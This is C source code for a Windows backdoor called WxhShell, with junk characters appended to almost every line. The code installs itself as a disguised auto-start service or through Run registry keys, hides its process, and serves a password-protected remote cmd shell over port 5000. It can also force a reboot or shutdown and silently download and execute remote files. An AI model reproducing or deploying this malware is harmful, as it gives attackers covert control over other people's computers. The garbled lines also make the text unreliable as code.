  // 关机 aJOhji<b#L  
  case 'd': { t_x \&+W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :)cPc7$8  
    if(Boot(SHUTDOWN)) @FdtM<X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QP >P  
    else { ~H7m7  
    closesocket(wsh); +VI2i~  
    ExitThread(0); HPg@yx"U  
    } *s S7^OZ*  
    break; "^Tb8!  
    } 4}!riWR   
  // 获取shell ~*- eL.  
  case 's': { ujmO'blO  
    CmdShell(wsh); NK$k9,  
    closesocket(wsh); 2"c $#N  
    ExitThread(0); a~9U{)@F  
    break; F%+/j5~^  
  } lBgf' b3$  
  // 退出 Q(T)s  
  case 'x': { bQr H8)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); op/HZa  
    CloseIt(wsh); 0}PW<lU-  
    break; (@p E  
    } i~MCY.F  
  // 离开 Siq2Glg_  
  case 'q': { iLws;3UX;x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tTLD6#  
    closesocket(wsh); ;Bat!K7W  
    WSACleanup(); U_wn/wcLS  
    exit(1); S}cpYjnH8  
    break; |K,9EM3  
        } cX> a>U  
  } V&eti2 &zO  
  } UMma|9l(i  
0 j:8 Ve  
  // 提示信息 -shS?kV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +=)< Su.  
} }f+If{  
  } =%%\b_\L  
mawomna  
  return; 2+s_*zM-  
} 8 T):b2h  
F@& R"-  
// shell模块句柄 p&>*bF,  
int CmdShell(SOCKET sock) D}>pl8ke~g  
{ 68[3 /  
STARTUPINFO si; `|X E B  
ZeroMemory(&si,sizeof(si)); lQ<2Vw#Yl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +\fr3@Yc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E5~HH($b  
PROCESS_INFORMATION ProcessInfo; |h\e(_G \  
char cmdline[]="cmd"; ra0:Lg'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TUw^KSa  
  return 0; m$ )yd~  
} (CJiCtAsl`  
jr|(K*;  
// 自身启动模式 =;W"Pi;*  
int StartFromService(void) 9TIyY`2!  
{ ,^pM]+NF|  
typedef struct ms{:=L2$$  
{ j6%X  
  DWORD ExitStatus; 1XSA3;ZEc  
  DWORD PebBaseAddress; &=Gz[1 L  
  DWORD AffinityMask; Z3g6 ?2w6  
  DWORD BasePriority; n#uH^@#0  
  ULONG UniqueProcessId; +iz5%Qe<f  
  ULONG InheritedFromUniqueProcessId; 5Q#;4  
}   PROCESS_BASIC_INFORMATION; w},' 1  
cv=nGFx6  
PROCNTQSIP NtQueryInformationProcess; l"5$6h  
I?YTX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Dd-;;Y1C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Sf);j0G,D  
)@09Y_9r  
  HANDLE             hProcess; 11glFe  
  PROCESS_BASIC_INFORMATION pbi; 6vbWe@#U/  
nfJ|&'T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); orVsMT[A  
  if(NULL == hInst ) return 0; }zY)H9J~  
#s$b\"4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |s-q+q{|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #+N\u*-S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LZch7Xe3  
nd3=\.(P  
  if (!NtQueryInformationProcess) return 0; 7-6Z\.-  
+c.A|!-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l=8)_z;~D  
  if(!hProcess) return 0; 6F6[w?   
%jdV8D#Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gcqcY  
a*REx_gLG  
  CloseHandle(hProcess); ?VrZM  
M>D 3NY[,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o,[~7N  
if(hProcess==NULL) return 0; #H{<nVvg^  
S+py \z%  
HMODULE hMod; (Z"QHfO'  
char procName[255]; A%> Ir`I  
unsigned long cbNeeded; e4p:Zb:  
?BT\)@ h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); },KY9w  
,Dfq%~:grT  
  CloseHandle(hProcess); E1IRb':  
0#lw?sv  
if(strstr(procName,"services")) return 1; // 以服务启动 MH[Zw$  
D M(WYL{  
  return 0; // 注册表启动 !8yw!hA  
} b#bdz1@s  
cTu7U=%  
// 主模块 d af$`  
int StartWxhshell(LPSTR lpCmdLine) Y:[WwX|  
{ GE]fBg  
  SOCKET wsl; ZKzXSI4  
BOOL val=TRUE; "~Twx]Z  
  int port=0; `,i'vb`W#b  
  struct sockaddr_in door; Rn~FCj,-  
Ev* b  
  if(wscfg.ws_autoins) Install(); 2  *IF  
V#.;OtF]  
port=atoi(lpCmdLine); !-b4@=f:  
^8$CpAK]M  
if(port<=0) port=wscfg.ws_port; 4J0{$Xuu 0  
=A={ Dpv[>  
  WSADATA data; :_JZn`Cab  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x^Tjs<#  
&I: [ 'l!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CZRrb84  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ot]eaad  
  door.sin_family = AF_INET; F+,X%$A#?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Kdh(vNB>  
  door.sin_port = htons(port); $T{,3;kt  
yaD<jc(O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Os^sOOSY  
closesocket(wsl); [tsi8r =T  
return 1; !Rk1q&U5  
} ATCFdtNc  
} [}u5T`w>  
  if(listen(wsl,2) == INVALID_SOCKET) { X).UvPZ/  
closesocket(wsl); }uo5rB5D  
return 1; 95B w;U3E  
} 7Ipt~K}  
  Wxhshell(wsl); (Z5=GJM?$  
  WSACleanup(); ~ ui/Qf2|  
&B^#? vmO  
return 0; 8^M5k%P  
x%d+~U;$&  
} 3 Yf%M66t  
L0uvRge  
// 以NT服务方式启动 y[[f?rxz>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'EU{%\qM  
{ j)ZvlRi,  
DWORD   status = 0; ]#R'hL%f  
  DWORD   specificError = 0xfffffff; ?g| K"P<1  
B04%4N.g"X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4"1OtBU3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D}'g4Ag  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &[,g `S0  
  serviceStatus.dwWin32ExitCode     = 0; UfjLNe}wA  
  serviceStatus.dwServiceSpecificExitCode = 0; ;~T)pG8IS  
  serviceStatus.dwCheckPoint       = 0; m76**X  
  serviceStatus.dwWaitHint       = 0; 6g4CUP'Y  
;KJJK#j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kRs[H xI3  
  if (hServiceStatusHandle==0) return; ~r;da9  
'&#`?\CXX  
status = GetLastError(); /tRzb8`  
  if (status!=NO_ERROR) m)3?hF)  
{ 1)(p=<$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3 lH#+@  
    serviceStatus.dwCheckPoint       = 0; 7 vUfA"  
    serviceStatus.dwWaitHint       = 0; c_clpMx=  
    serviceStatus.dwWin32ExitCode     = status; E{gu39D  
    serviceStatus.dwServiceSpecificExitCode = specificError; y_J~n 9R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !P/ ]o  
    return;  =<fH RX`  
  } H6E@C}cyM  
uW%7X2K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^@l_K +T  
  serviceStatus.dwCheckPoint       = 0; *- $u\?$  
  serviceStatus.dwWaitHint       = 0; hj64ES#x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I8HUH* |)n  
} {:m5<6?x)  
vb/*ILS  
// 处理NT服务事件,比如:启动、停止 G~_5E]8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HVz-i{M  
{ x&sT )=#  
switch(fdwControl) MK9?81xd  
{ Fn$/ K  
case SERVICE_CONTROL_STOP: 1<A+.W  
  serviceStatus.dwWin32ExitCode = 0; k$:QpTg[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f/Km$#xOr  
  serviceStatus.dwCheckPoint   = 0; jENarB^As  
  serviceStatus.dwWaitHint     = 0; xP*9UXZ4P  
  { wpu]{~Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); idnn%iO  
  } i,rP/A^q  
  return; Ht? u{\p@  
case SERVICE_CONTROL_PAUSE: udtsq"U_%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q>7#</i\.  
  break; $de_>  
case SERVICE_CONTROL_CONTINUE: (Tp+43v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s([9 /ED  
  break; Fp4?/-]  
case SERVICE_CONTROL_INTERROGATE: Z)'jn8?P  
  break; +A8S 6bA[=  
}; EA7]o.Nm*{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wOE_2k  
} 6nt$o)[  
/b6Y~YbgU  
// 标准应用程序主函数 TFbCJ@X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bL_s[-7  
{ )<G>]IP<  
jjBcoQU$o  
// 获取操作系统版本 gXI_S9 z  
OsIsNt=GetOsVer(); v}A] R9TY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nkHr(tF 7  
Iu|G*~\  
  // 从命令行安装 a<tUpI$  
  if(strpbrk(lpCmdLine,"iI")) Install(); asP>(Li  
I@cKiB  
  // 下载执行文件 .  hHt+  
if(wscfg.ws_downexe) { |[D~7|?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  ;Fcdjy  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7}Z.g9<  
} QI~s~j  
R*.XbkW~  
if(!OsIsNt) { .Y'kDuUu  
// 如果时win9x,隐藏进程并且设置为注册表启动 9;dP7o  
HideProc(); (HLy;^#R  
StartWxhshell(lpCmdLine);  Cih}  
} N;A1e@bP  
else rsBF\(3b~  
  if(StartFromService()) ;1S{xd*^N  
  // 以服务方式启动 ]w%7/N0R  
  StartServiceCtrlDispatcher(DispatchTable); FU!U{qDI  
else V5KAiG<d  
  // 普通方式启动 7qon:]b4  
  StartWxhshell(lpCmdLine); U"-mLv"|  
}^G'oR1LF  
return 0; C JiMg'K  
} H;*:XLPF  
!IoD";Oi  
':[+UUC@  
WP32t@  
=========================================== `@ qSDW!b  
OW)8Z 60  
aO "JT  
6BW-AZc  
gtJ^8khME  
]gTa TY  
" )_+"  
*bn9j>|iv  
#include <stdio.h> A42At]  
#include <string.h> \_@u"+,$W  
#include <windows.h> w|Zq5|[  
#include <winsock2.h> aEXV^5;,pJ  
#include <winsvc.h> \#tr4g~u  
#include <urlmon.h> 9foQ0#R  
g%j z,|  
#pragma comment (lib, "Ws2_32.lib") s`C#=l4  
#pragma comment (lib, "urlmon.lib") }y|% wym  
Uvf-h4^J]:  
#define MAX_USER   100 // 最大客户端连接数 K!|=)G3.`  
#define BUF_SOCK   200 // sock buffer e hxtNjA  
#define KEY_BUFF   255 // 输入 buffer Yc:b:\0}F6  
A40 -])'!  
#define REBOOT     0   // 重启 PG<N\  
#define SHUTDOWN   1   // 关机 =eac,]31  
Uw61X>y=  
#define DEF_PORT   5000 // 监听端口 sf\;|`}  
Btpx[T  
#define REG_LEN     16   // 注册表键长度 q,u >`]}  
#define SVC_LEN     80   // NT服务名长度 }C" #b\A2  
ct~lt'L\  
// 从dll定义API 54uTu2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5*g@;aR1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e-qr d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b@1QE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7azxqa5:  
2#/ KS^  
// wxhshell配置信息 [n74&EH  
struct WSCFG { ]-x#zp;=  
  int ws_port;         // 监听端口 BD4.sd+H,  
  char ws_passstr[REG_LEN]; // 口令 xR#hU;E}  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7{<F6F^P  
  char ws_regname[REG_LEN]; // 注册表键名 d /t'N-m  
  char ws_svcname[REG_LEN]; // 服务名 -2 tZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `R:<(:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u8o7J(aQsR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^~BJu#uVyy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0QC*Z (  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^D.B^BR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !+>yCy$~_  
2vWkAC;   
}; ` |]6<<'iW  
OPKX&)SE-  
// default Wxhshell configuration Iu1P}R>C  
struct WSCFG wscfg={DEF_PORT, DN^ln%#  
    "xuhuanlingzhe", 5V?1/  
    1, /%xK-z,V  
    "Wxhshell", RtqW!ZZ:H  
    "Wxhshell", B.Xm*adBT  
            "WxhShell Service", saRB~[6I  
    "Wrsky Windows CmdShell Service", H?'VQ=j  
    "Please Input Your Password: ", Ab_aB+g ]  
  1, (Nik( Oyj"  
  "http://www.wrsky.com/wxhshell.exe", 40g&zU-  
  "Wxhshell.exe" l}O`cC  
    }; v(: VUo]H  
Zfb:>J@h6  
// 消息定义模块 ZgXh[UHQy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H}U&=w'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ix *KL=MG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xE6y9"}!h  
char *msg_ws_ext="\n\rExit."; G&uj}rj  
char *msg_ws_end="\n\rQuit."; t?0=;.D  
char *msg_ws_boot="\n\rReboot..."; Nc"h8p?  
char *msg_ws_poff="\n\rShutdown..."; uO^{+=;A =  
char *msg_ws_down="\n\rSave to "; Tu6he8Q-  
p!Gf ^  
char *msg_ws_err="\n\rErr!"; 3c9[FZ@ya  
char *msg_ws_ok="\n\rOK!"; j|[s?YJl  
uWfse19  
char ExeFile[MAX_PATH]; U| N`X54  
int nUser = 0; "(C }Dn#  
HANDLE handles[MAX_USER]; e<C5}#wt  
int OsIsNt; /FYa{.Vlr  
sdO;vp^:b  
SERVICE_STATUS       serviceStatus; 6iC}%eU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z].>U!7W  
T8KhmO  
// 函数声明 a"&Z!A:Z=  
int Install(void); v5 9>  
int Uninstall(void); =  Oq;  
int DownloadFile(char *sURL, SOCKET wsh); Yd<~]aXM   
int Boot(int flag); -d[x 09  
void HideProc(void); R]V`t^1  
int GetOsVer(void); jr9ZRHCU  
int Wxhshell(SOCKET wsl); 3p^WTQ>(  
void TalkWithClient(void *cs); \7C >4  
int CmdShell(SOCKET sock); ?%LD1 <ya  
int StartFromService(void); J]~fv9~P  
int StartWxhshell(LPSTR lpCmdLine); C$(t`G  
6*LU+U=`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M,#t7~t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q7)$WXe2LM  
_ssHRbE  
// 数据结构和表定义 UfkRY<H  
SERVICE_TABLE_ENTRY DispatchTable[] = #|CG %w  
{ f0[xMn0Tu  
{wscfg.ws_svcname, NTServiceMain}, ,F *e^#>  
{NULL, NULL} ebao7r5@  
}; pDKJLa  
W*s`1O>  
// 自我安装 4]+ ^K`  
int Install(void) pGcc6q1  
{ {jc~s~<#  
  char svExeFile[MAX_PATH]; We4 FR4`  
  HKEY key; Xoik%T-  
  strcpy(svExeFile,ExeFile); b%_QL3 m6  
Q3/q%#q>  
// 如果是win9x系统,修改注册表设为自启动 VAthQ<  
if(!OsIsNt) { +<q^[<pS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 21WqLgT3 4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z`Q5J9_<cV  
  RegCloseKey(key); PIrUls0}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q72wg~%w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i ;tA<-$-  
  RegCloseKey(key); 3jn@ [ m  
  return 0; %-*vlNC)  
    } *K98z ?  
  } Bdg*XfXXk  
} M84LbgGM%  
else { 2h:f6=)r/u  
OcH- `A  
// 如果是NT以上系统,安装为系统服务 UMX+h])#N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \LYQZ*F  
if (schSCManager!=0) @t2 Q5c  
{ SKtEEFyIR_  
  SC_HANDLE schService = CreateService y,r`8  
  ( ,,Db:4qfjD  
  schSCManager, U'lD|R,g  
  wscfg.ws_svcname, y-@!, @e  
  wscfg.ws_svcdisp, g764wl  
  SERVICE_ALL_ACCESS, GS$k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w|Mj8Lc+  
  SERVICE_AUTO_START, e7?W VV,  
  SERVICE_ERROR_NORMAL, A,og9<+j-  
  svExeFile, 'wZy: c  
  NULL, -'N#@Wdr  
  NULL, ^&<*$Ai~  
  NULL, s7 KKH w  
  NULL, FEZ6X  
  NULL KGWENX_U  
  ); Ly<;x^D  
  if (schService!=0) YH[_0!JY^  
  { EGDE4n5>I  
  CloseServiceHandle(schService); X@Bpjg  
  CloseServiceHandle(schSCManager); RP X`2zr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZB2'm3'bh  
  strcat(svExeFile,wscfg.ws_svcname); v-gT 3kJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2at?9{b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0>;#vEF*1  
  RegCloseKey(key); {x4[Bx1  
  return 0; xh6x B|Z  
    } VoyH:  
  } ^(\Gonf<  
  CloseServiceHandle(schSCManager); vX/A9Qi,U.  
} (p?3#|^  
} ygW@[^g  
W@C56fCa  
return 1; q5!l(QL.  
} n>0dz#  
(XwLKkw0n  
// 自我卸载 uy9B8&Sr  
int Uninstall(void) IX*S:7S[  
{ Fp6Y Y  
  HKEY key; {l11WiqQH  
=zjUd  5  
if(!OsIsNt) { M$W#Q\<*#r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w.Vynb  
  RegDeleteValue(key,wscfg.ws_regname); 5p|@)  
  RegCloseKey(key); }>w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ntn md  
  RegDeleteValue(key,wscfg.ws_regname); LA?\~rh!  
  RegCloseKey(key); Z :9VxZ  
  return 0; i-FUAR  
  } tN{t-xUgk  
} @NNLzqqY  
} u#M)i30j  
else { $.N~AA~0  
H|)1T-%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -n *>zGc  
if (schSCManager!=0) :]^P ^khK  
{ 9sCk\`n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U&n>fXTHn  
  if (schService!=0) $048y X 7M  
  { e87- B1`  
  if(DeleteService(schService)!=0) { 05KoxFO?  
  CloseServiceHandle(schService); T"H )g  
  CloseServiceHandle(schSCManager); UBi4itGD  
  return 0; VqL 5f  
  } 6)U&XWH0  
  CloseServiceHandle(schService); iW}l[g8sw!  
  } J=X% xb  
  CloseServiceHandle(schSCManager); xN m32~  
} _0*>I1F~  
} B -~&6D,  
{?mQqoZ?.  
return 1; (<3lo ZaX  
} 1mJ_I|98  
uvDoo6'  
// 从指定url下载文件 lg :  
int DownloadFile(char *sURL, SOCKET wsh) WWKvh  
{ 5U`ZbG  
  HRESULT hr; =,y |00l  
char seps[]= "/"; 2P#=a?~[  
char *token; @"-</x3o  
char *file; ~y HU^5D  
char myURL[MAX_PATH]; h `}}  
char myFILE[MAX_PATH]; XV3C`:b  
*N'K/36;  
strcpy(myURL,sURL); uhyj5u)  
  token=strtok(myURL,seps); VhL{'w7f  
  while(token!=NULL) ,`D~py,  
  { dU)]:>Uz  
    file=token; <BFQ:  
  token=strtok(NULL,seps); M`YWn ;  
  } {\H/y c|@  
1CU>L[W)  
GetCurrentDirectory(MAX_PATH,myFILE); &H}r%%|A  
strcat(myFILE, "\\"); Wj|alH9<  
strcat(myFILE, file); gr-9l0u  
  send(wsh,myFILE,strlen(myFILE),0); G!w"{Bk?9  
send(wsh,"...",3,0); {8$=[;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N|N3x7=gs  
  if(hr==S_OK) fmqb` %  
return 0; KWAb-yB  
else {]_uMg#!  
return 1; `Z: R Ce^  
Y3.$G1{#0w  
} X cr  =  
:x.7vZzxs  
// 系统电源模块 o[oM8o<  
int Boot(int flag) ~5Pb&+<$  
{ K<?nq0-  
  HANDLE hToken; o#) {1<0vg  
  TOKEN_PRIVILEGES tkp; *IgE)N >  
De7T s  
  if(OsIsNt) { =4V&*go*\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S/|,u`g-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :B3[:MpL}  
    tkp.PrivilegeCount = 1; ,.eWQK~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1b=lpw 1}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oSiMpQu08  
if(flag==REBOOT) { ^b:( jI*l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .2d9?p3Y  
  return 0; We0.3aG  
} \(226^|j  
else { 8fA_p}wp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {{V8;y  
  return 0; rpeJkG@+  
} Uc/+gz Z;  
  } #/PAA  
  else { 4XVCHs(  
if(flag==REBOOT) { X%yO5c\l2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]7-&V-Ct*  
  return 0; DZzN>9<)^  
} l/;X?g5+  
else { " \I4u{zC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  "KcA  
  return 0; n>@oBG)!  
} z/i+EE  
} 21k5I #U  
NM ]bgpP  
return 1; d%l{V6  
} ^u 3V E  
/mo(_  
// win9x进程隐藏模块 s4&^D<  
void HideProc(void) zD?oXs  
{ +`3!I  
V_plq6z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /cc\fw1+  
  if ( hKernel != NULL ) o7IxJCL=Q  
  { *~w[eH!!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xsWur(>]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5 ae2<Y=  
    FreeLibrary(hKernel); F~A'X  
  } h iNEJ_f  
LC1 (Xb f  
return; 7 |DHplI  
} 6e&>rq6C  
pp9Zb.D\  
// 获取操作系统版本 ^CwR!I.D}4  
int GetOsVer(void) wAnb Di{W  
{ v[Kxja;  
  OSVERSIONINFO winfo; V5}B:SUB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NcY608C  
  GetVersionEx(&winfo); 6uKTGc4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $-[CG7VgX%  
  return 1; 1S@vGq}  
  else JxyB(  
  return 0; Nk {XdrY  
} L(X6-M:  
\QmCeB  
// 客户端句柄模块 ca+[0w@S  
int Wxhshell(SOCKET wsl) uZ;D!2Q a  
{ m&|`x  
  SOCKET wsh; DBLO|&2!z[  
  struct sockaddr_in client;  ~c6}  
  DWORD myID; 'M3">$N  
610D% F  
  while(nUser<MAX_USER) EbqcV\Kb  
{ b(9FZ]7S  
  int nSize=sizeof(client); 0OGCilOb*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #-h\.#s  
  if(wsh==INVALID_SOCKET) return 1; pmX#E  
9cJH"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (Vo>e =q  
if(handles[nUser]==0) y\&>Z yOY  
  closesocket(wsh); ?McQr1  
else ^iQn'++Q  
  nUser++; t(="h6i  
  } $+7`Dy!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eI@ q|"U  
+f[ED4E>'(  
  return 0; < y*x]}  
} m*mm\wN5  
7 [g/TB  
// 关闭 socket VN%INUi@  
void CloseIt(SOCKET wsh) .L~Nq%g1  
{ a')|1DnR  
closesocket(wsh); dg^L=  
nUser--; 6 PxW8pn  
ExitThread(0); Iy }:F8F>g  
} 2.d|G `  
7.j[a*^  
// 客户端请求句柄 fHZTXvxoL  
void TalkWithClient(void *cs) n`4K4y%Dy}  
{ Q[#vTB$f  
%Ts PyiYl  
  SOCKET wsh=(SOCKET)cs; [CAR[ g&  
  char pwd[SVC_LEN]; `_&Vt=7lG  
  char cmd[KEY_BUFF]; 0q&'(-{s1  
char chr[1]; Y6&wJ<   
int i,j; eAqz3#_My  
`)QCn<  
  while (nUser < MAX_USER) { z)uuxNv[R  
b"TjGE  
if(wscfg.ws_passstr) { {aM<{_v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ja ,Cvt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k^OV56  
  //ZeroMemory(pwd,KEY_BUFF); 'TA UE{{  
      i=0; S/ibb&  
  while(i<SVC_LEN) { +&["HoKg}&  
N~F RM& x  
  // 设置超时 ~xoF6 CF  
  fd_set FdRead; qgDRu]ba  
  struct timeval TimeOut; CA +uKM^"6  
  FD_ZERO(&FdRead); n3sUbs;  
  FD_SET(wsh,&FdRead); ek N' k  
  TimeOut.tv_sec=8; :\=CRaA  
  TimeOut.tv_usec=0; vp.ZK[/`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +Y+Y6Ac[}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (#;`"Yu  
%E_b'[8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }@r{?8Ru  
  pwd=chr[0]; E#F/88(  
  if(chr[0]==0xd || chr[0]==0xa) { %sRUh0AL  
  pwd=0; f0T ,ul,  
  break; (< =}]v  
  } ]Ta N{"  
  i++; BT@r!>Nl  
    } _ A 0w[n  
]@Sj`J[fd  
  // 如果是非法用户,关闭 socket qL94SW;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Sua[O$  
} +\r+n~w  
w/L `  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $2%f 8&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D0N9Ksq  
kEd@oC  
while(1) { =H|6 GJ  
r `eU~7  
  ZeroMemory(cmd,KEY_BUFF); K'h1szW  
X*L;.@xA  
      // 自动支持客户端 telnet标准   F9*g=  
  j=0; 5?Wto4j  
  while(j<KEY_BUFF) { W}|'#nR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PpsIhMq@  
  cmd[j]=chr[0]; rL5z]RY  
  if(chr[0]==0xa || chr[0]==0xd) { UswZG^Wh  
  cmd[j]=0; 6b!F1  
  break; OnWx#84  
  } > 0<)=  
  j++; f}D1|\7  
    } Rml2"9"`  
y?SyInt  
  // 下载文件 `~X!Ll  
  if(strstr(cmd,"http://")) { ,y%3mR_~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4l&g6YneX  
  if(DownloadFile(cmd,wsh)) W Yc7aciJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vp(;W,ba:|  
  else v<fnB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @X3{x\i'I  
  } ",)Qc!^P$  
